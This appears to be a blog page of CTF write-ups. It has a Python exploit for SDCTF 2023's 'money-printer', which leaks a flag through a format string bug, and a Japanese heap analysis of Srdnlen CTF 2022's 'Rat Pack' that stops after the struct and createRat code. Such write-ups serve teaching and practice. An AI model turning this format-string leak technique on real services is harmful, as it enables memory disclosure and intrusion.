SDCTF 2023 writeup

Thu, 11 May 2023 19:36:24 +0900

I participated SDCTF 2023 as Wani Hackase and took 5th place. Thank you for organizing nice CTF events!

PWN/money-printer

This binary contains a format string bug and the flag is located at stack. I just send %i$08lx to reveal the flag as shown below.

 1from toyotama import *
 2
 3_r = Socket("nc money.sdc.tf 1337")
 4_r.sendlineafter("want?\n", -1000)
 5
 6_r.sendlineafter("audience?\n", " ".join([f"%{i}$08lx" for i in range(10, 16)]))
 7_r.recvuntil("said: ")
 8flag = _r.recvline().decode().split()
 9
10flag = b"".join([bytes.fromhex(x)[::-1] for x in flag])
11flag += b"}"
12print(flag)

sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y}

MISC/Form bomb protector

After connecting the server, it spawn a shell but we cannot use most commands since some syscall is prohibited. It accepts bash builtin commands, so I combined some of them to read the flag.

Srdnlen CTF 2022 Rat Pack

Sun, 09 Oct 2022 22:19:01 +0900

Srdnlen CTF 2022に参加していました。解き損ねたpwnのRat Packという問題のメモです。

問題

典型的なheap問でよくある、メニューがあって操作ができるタイプの問題です。書き方はかなりCっぽいですが、C++でコンパイルされています。まずはGhidraとかで適当にreversingをしておきます。

rat構造体

この問題の中心となるratという構造体は以下のような構造になっています。（変数名は公式Writeup¹で公開されているソースコードに準拠）

 1struct rat {
 2  struct rat** pack;              // スタック上のstruct rat* packへのポインタ
 3  void(*dialogue)(struct rat*);   // base pointer                
 4  char name[16];                  // ratの名前                      
 5  int maxlen;                     // ratの名前の最大長                  
 6}
 7
 8//      |0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f|
 9// +00h |pack-----------|dialogue-------|
10// +10h |name---------------------------|
11// +20h |maxlen---------|               |

操作

この構造体に対して可能な操作は以下の通りです。ただし、packaddrはratを管理するサイズ16の配列です。

createRat()

 1void createRat(struct rat** packaddr) {
 2    // Allocate and initialize
 3    struct rat* newRat = (struct rat*) malloc(sizeof(struct rat));
 4    newRat->maxlen = NAME_LEN;
 5    newRat->dialogue = dialogue;
 6    newRat->pack = packaddr;
 7    name(newRat);
 8
 9    // Place rat in pack.
10    for (int i = 0; i < MAX_RATS; i++) {
11        if (packaddr[i] == NULL) {
12            packaddr[i] = newRat;
13            return;
14        }
15    }
16    printf("You ran out of rat space!\n");
17    free(newRat);
18}

sizeof(struct rat) = 0x28 のサイズの領域を確保(実際は0x30)
- これをnewRatとする。
newRatのメンバ変数を初期化し、name(newRat)で名前を設定
packaddrを先頭から走査し、空いている箇所にnewRatを設定
- もし領域が空いていなければfree(newRat)

greetRat()

Pwn on Laika's Blog

SDCTF 2023 writeup

PWN/money-printer

MISC/Form bomb protector

Srdnlen CTF 2022 Rat Pack

問題

rat構造体

操作